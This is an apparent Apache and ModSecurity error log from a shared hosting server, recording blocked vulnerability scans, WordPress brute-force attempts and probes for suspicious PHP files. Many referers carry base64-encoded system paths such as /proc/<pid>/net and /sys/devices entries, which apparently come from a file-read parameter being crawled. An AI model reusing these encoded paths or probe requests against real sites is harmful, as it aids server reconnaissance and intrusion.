/home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:53.837641 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.61:51404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:53.837938 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.61:51404] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:53.938795 2026] [security2:error] [pid 531797:tid 532041] [client 20.151.217.54:65161] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/ops.php"] [unique_id "ai3xFcTA7b1mZrmcA-8WWQAAAkA"] [Sat Jun 13 18:08:53.969918 2026] [access_compat:error] [pid 531797:tid 531905] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMTQ5L25ldA== [Sat Jun 13 18:08:53.970193 2026] [access_compat:error] [pid 531797:tid 531905] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMTQ5L25ldA== [Sat Jun 13 18:08:53.995218 2026] [security2:error] [pid 531155:tid 531298] [client 172.171.3.232:58726] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/ZSLeDE.php"] [unique_id "ai3xFSmiP80klyS0NnrtrAAAARc"] [Sat Jun 13 18:08:54.036713 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:54.037000 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:54.061981 2026] [security2:error] [pid 531155:tid 531369] [client 20.151.217.54:17032] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/atomlib.php"] [unique_id "ai3xFimiP80klyS0NnrtsgAAAV4"] [Sat Jun 13 18:08:54.250189 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.62:57522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:54.250461 2026] [access_compat:error] [pid 531797:tid 531956] [remote 57.141.14.62:57522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:54.253787 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:08:54.254062 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:08:54.392902 2026] [security2:error] [pid 531155:tid 531328] [client 191.234.188.123:26801] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/rujgeote.php"] [unique_id "ai3xFimiP80klyS0NnrtuAAAATU"] [Sat Jun 13 18:08:54.404601 2026] [access_compat:error] [pid 531797:tid 531896] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTM1MTcyL2N3ZA== [Sat Jun 13 18:08:54.404888 2026] [access_compat:error] [pid 531797:tid 531896] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTM1MTcyL2N3ZA== [Sat Jun 13 18:08:54.476936 2026] [security2:error] [pid 531797:tid 531939] [remote 17.22.253.35:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 35.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xFsTA7b1mZrmcA-8WZQACPks"] [Sat Jun 13 18:08:54.490106 2026] [security2:error] [pid 531797:tid 532025] [client 20.151.217.54:17043] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/loxico93.php"] [unique_id "ai3xFsTA7b1mZrmcA-8WZgAAAjE"] [Sat Jun 13 18:08:54.536904 2026] [security2:error] [pid 531155:tid 531172] [remote 17.246.23.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xFimiP80klyS0NnrtuwABOhA"] [Sat Jun 13 18:08:54.565711 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:54.566143 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:54.601238 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.11:38345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:54.601516 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.11:38345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:54.653962 2026] [security2:error] [pid 531797:tid 531950] [remote 145.239.79.139:53832] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3xFsTA7b1mZrmcA-8WagACXVY"] [Sat Jun 13 18:08:54.777996 2026] [security2:error] [pid 531155:tid 531223] [remote 17.22.237.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xFimiP80klyS0NnrtwQABZ0M"] [Sat Jun 13 18:08:54.930091 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.52:21058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:54.930532 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.52:21058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:54.997895 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0L3Blcmw1L0I= [Sat Jun 13 18:08:54.998346 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0L3Blcmw1L0I= [Sat Jun 13 18:08:55.020027 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.37:25894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:55.020369 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.37:25894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:55.043282 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.95:38199] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:55.043543 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.95:38199] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:55.063942 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:08:55.064364 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:08:55.149353 2026] [security2:error] [pid 531797:tid 531895] [remote 17.241.75.88:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 88.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xF8TA7b1mZrmcA-8WdgACdB8"] [Sat Jun 13 18:08:55.149440 2026] [security2:error] [pid 531155:tid 531193] [remote 17.241.219.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xFymiP80klyS0NnrtywABOCU"] [Sat Jun 13 18:08:55.191140 2026] [access_compat:error] [pid 531797:tid 531962] [remote 57.141.14.99:21874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:55.191416 2026] [access_compat:error] [pid 531797:tid 531962] [remote 57.141.14.99:21874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:55.245421 2026] [security2:error] [pid 531797:tid 532075] [client 20.151.217.54:17026] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/momo.php"] [unique_id "ai3xF8TA7b1mZrmcA-8WegAAAmE"] [Sat Jun 13 18:08:55.281489 2026] [security2:error] [pid 531155:tid 531267] [remote 139.59.184.99:48776] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.184.59.139.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "careers.kbm-realty.com"] [uri "/xmlrpc.php"] [unique_id "ai3xFymiP80klyS0Nnrt0AABQW8"] [Sat Jun 13 18:08:55.281695 2026] [security2:error] [pid 531155:tid 531340] [client 139.59.184.99:48776] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "careers.kbm-realty.com"] [uri "/xmlrpc.php"] [unique_id "ai3xFymiP80klyS0Nnrt0AABQW8"] [Sat Jun 13 18:08:55.282184 2026] [access_compat:error] [pid 531797:tid 531909] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:55.282505 2026] [access_compat:error] [pid 531797:tid 531909] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:55.323240 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.104:44646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:55.323521 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.104:44646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:55.415329 2026] [security2:error] [pid 531797:tid 531997] [client 191.234.188.123:47954] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/owrlfoa.php"] [unique_id "ai3xF8TA7b1mZrmcA-8WfwAAAhU"] [Sat Jun 13 18:08:55.552633 2026] [access_compat:error] [pid 531797:tid 531955] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:55.553011 2026] [access_compat:error] [pid 531797:tid 531955] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:55.632210 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:08:55.632660 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:08:55.659635 2026] [security2:error] [pid 531797:tid 532089] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vfprintf_variation7.phpt"] [unique_id "ai3xF8TA7b1mZrmcA-8WhgAAAm4"] [Sat Jun 13 18:08:55.697912 2026] [lsapi:warn] [pid 531797:tid 532068] [client 206.232.5.203:49473] [host www.codeproblem.com] Backend log: PHP Warning: session_write_close(): Cannot call session save handler in a recursive manner in /home2/hamaraq1/public_html/codeproblem/public_html/libraries/joomla/session/session.php on line 676\n, referer: http://www.codeproblem.com/ [Sat Jun 13 18:08:55.697936 2026] [lsapi:warn] [pid 531797:tid 532068] [client 206.232.5.203:49473] [host www.codeproblem.com] Backend log: PHP Warning: session_write_close(): Failed to write session data using user defined save handler. (session.save_path: /opt/alt/php74/var/lib/php/session) in /home2/hamaraq1/public_html/codeproblem/public_html/libraries/joomla/session/session.php on line 676\n, referer: http://www.codeproblem.com/ [Sat Jun 13 18:08:55.939696 2026] [security2:error] [pid 531797:tid 532018] [client 20.151.217.54:17061] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/asu.php"] [unique_id "ai3xF8TA7b1mZrmcA-8WkAAAAio"] [Sat Jun 13 18:08:55.997933 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:55.998369 2026] [access_compat:error] [pid 531155:tid 531247] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:56.033968 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.100:60161] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:56.034248 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.100:60161] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:56.054492 2026] [access_compat:error] [pid 531797:tid 531918] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:56.054795 2026] [access_compat:error] [pid 531797:tid 531918] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:56.137998 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:08:56.138281 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL2NhcGFiaWxpdGllcw== [Sat 